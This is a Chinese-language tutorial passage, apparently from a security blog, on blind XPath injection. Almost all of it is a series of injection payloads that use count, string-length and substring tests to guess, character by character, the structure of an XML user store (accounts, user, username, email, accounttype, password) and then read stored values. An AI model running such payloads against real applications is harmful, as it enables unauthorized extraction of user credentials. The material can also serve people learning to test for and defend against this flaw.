'or count(/)=1 or ''=' ###根节点数量为1 'or count(/*)=1 or ''=' ##根节点下只有一个子节点
判断根节点下的节点长度
1
'or string-length(name(/*[1]))=8 or ''='
猜解根节点下的节点名称
1 2 3 4
'or substring(name(/*[1]), 1, 1)='a' or ''=' 'or substring(name(/*[1]), 2, 1)='c' or ''=' .. 'or substring(name(/*[1]), 8, 1)='s' or ''='
猜解出该节点名称为accounts
1 2 3
'or count(/accounts)=1 or ''=' /accounts节点数量为1 'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点 'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
猜解accounts下的节点名称
1 2 3
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''=' ... 'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='
accounts下子节点名称为user
1
'or count(/accounts/user)=2 or ''='user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点
第一个user节点的子节点长度为8: ‘or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ‘’=’
读取user节点的下子节点
1 2 3 4
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''=' 'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''=' ... 'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='
最终所有子节点值验证如下:
1 2 3 4
'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username' or ''=' 'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email' or ''=' 'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype' or ''=' 'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password' or ''='
继续猜解:
1 2 3 4
'or count(/accounts/user[position()=1]/username/*)>0 or ''=' 'or count(/accounts/user[position()=1]/email/*)>0 or ''=' 'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''=' 'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='
'or substring((//user[position()=1]/username[position()=1]),1,1)='T' or ''=' .... 'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='
可依次读取所有的子节点的值,第二user节点的子节点值读取方式:
1 2
'or string-length((//user[position()=2]/username[position()=1]))=4 or ''=' 第一个user下的username长度为4 ......